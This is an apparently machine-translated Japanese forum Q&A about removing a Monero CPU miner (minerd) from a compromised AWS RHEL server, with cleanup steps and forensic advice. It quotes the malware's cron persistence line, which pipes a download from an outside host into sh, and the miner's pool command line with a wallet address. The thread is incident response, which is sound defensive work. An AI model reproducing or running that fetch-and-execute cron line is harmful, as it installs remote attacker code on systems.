RHEL 7.2を実行しているAWS EC2インスタンスがあり、BitCoin CPUマイナーによってハッキングされたようです。 ps -eo pcpu,args --sort=-%cpu | head
を実行すると、CPU使用率の90%以上を占めているCPUマイナーが存在することがわかります。
%CPU COMMAND
99.8 /opt/minerd -B -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:8080 -u 47TS1NQvebb3Feq91MqKdSGCUq18dTEdmfTTrRSGFFC2fK85NRdABwUasUA8EUaiuLiGa6wYtv5aoR8BmjYsDmTx9DQbfRX -p x
top -bn2 |sed -n '7,25'p
を実行したときにも表示されます-
PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
21863 root 20 0 237844 3300 1012 S 42.0 0.1 3:49.55 minerd
私はminerd
を/opt/
から削除しようとしていますが、再び回転し続けます。以前はKHK75NEOiq33
とyam
ディレクトリがありました。削除できましたが、minerd
は削除できませんでした。
これを完全に削除するにはどうすればよいですか? Sudo kill -9
とSudo kill -2
を使用して、PID
を個別に強制終了することも試みました。それを取り除くために使用できるアンチウイルスはありますか?
[〜#〜] edit [〜#〜]-質問は 別の質問 への重複の可能性があるとマークされました。ただし、違いは、特定のマルウェアについて問い合わせていることです。質問の解決策を見つけました。これを以下に投稿します。
minerd
を削除する解決策を見つけました。私は幸運にも、サーバーへの感染に使用された 実際のスクリプト を見つけることができました。私がしなければならなかったのは、このスクリプトによって配置された要素を削除することだけでした-
iptables -A INPUT -s xmr.crypto-pool.fr -j DROP
およびiptables -A OUTPUT -d xmr.crypto-pool.fr -j DROP
。*/15 * * * * curl -fsSL https://r.chanstring.com/api/report?pm=0706 | sh
を/var/spool/cron/root
および/var/spool/cron/crontabs/root
から削除しました。/opt/yam
を削除しました。/root/.ssh/KHK75NEOiq
を削除しました。/opt/minerd
および/opt/KHK75NEOiq33
を削除しました。pkill minerd
。lady
-service lady stop
。その後、ps -eo pcpu,args --sort=-%cpu | head
、top -bn2 |sed -n '7,25'p
、ps aux | grep minerd
を実行したところ、マルウェアは見られませんでした。
どのようにしてシステムにアクセスしたのかを理解する必要がありますが、この方法で無効にすることができました。
最初の目標は(再インストールしたくない場合)、そもそもそこに到達する方法を決定することです。攻撃者が巧妙だった場合、「timestomp」を実行してバイナリの日付を変更する必要がありました。脆弱なバージョンのWordpress、Joomla、または別のものを実行している場合、SSHを最小化してもほとんど効果がありません。たとえば、 minerdを実行するために誰かが使用したNagiosエクスプロイト がありました。したがって、目標は...「何が実行されているか、なぜ実行されているのか、そして脆弱なのかを判断する」
次に、マイニングプールサーバーとの間のすべての通信をブロックします。
iptables -A INPUT -S xmr.crypto-pool.fr -j DROP
では、何が変更/変更/脆弱性されたかをどのように判断しますか?システムを理解する必要があります。それは何をするのか、なぜそれをするのか、そして誰がそれにアクセスする必要があるのか。私はcrontabsを検索して、何かが始まっているかどうかを確認します。実行できます:service --status-all
実行中または起動中のサービスを確認し、それらを調査します。/opt/minerdはファイルのようです。そのファイルのチェックサムと、そのファイルを呼び出すもの、または一致するファイルを検索するスクリプトを作成できます。例:find / | xargs grep -i minerd
またはfind / | xargs grep -i CHECKSUM_of_MINERD
(これは、ファイル内を検索する残忍な方法です)。
3番目に、ログを確認します。 Webサーバーを実行している場合は、エラーログ(error_logs)から始め、アドレスから複数の403と404を探し、その後にaccess_logで接続が成功することを確認します。受け入れられたパス(例:200:/var/www/nagios_or_something_vulnerable/config.php)を確認し、ディレクトリ内を確認します。この情報を見つけるには多くの方法がありますが、投稿された限られた量の情報に基づいて情報を推測することしかできないため、ここでは誰も完全な答えを出すことができません。
「minerdという名前のファイルを開始しています!」そのファイルを掘る。 (find /|xargs grep -i minerd
)。 「この奇妙な文字列を使用しています!」 (find / |xargs grep -i 47TS1NQvebb3Feq
)。 「ポート8080に接続します!」 (lsof -i | awk '/8080|http-alt/{print $1"\t"$2"\t"$8"\t"$9}'
)。 「このアドレスに接続しています!」 (lsof -i | grep xmr.crypto
...これで、できることのベースラインができました。
問題は、minerdがおそらく一部の(その他の)マルウェアのペイロードであるため、システムで他に何が危険にさらされているのか実際には分からないことです。おそらく、システム上に他に何も常駐しておらず、鉱夫を殺すたびに再感染しているだけです。
または、サーバーへのバックドアを開いた管理/ドロッパープロセスがあります。
最も安全な方法は、サーバーを再作成することです。しかし、スキャンしたい場合は、Sophos Anti-Virusを無料で入手できます https://www.sophos.com/en-us/products/free-tools/sophos-antivirus-for-linux.aspx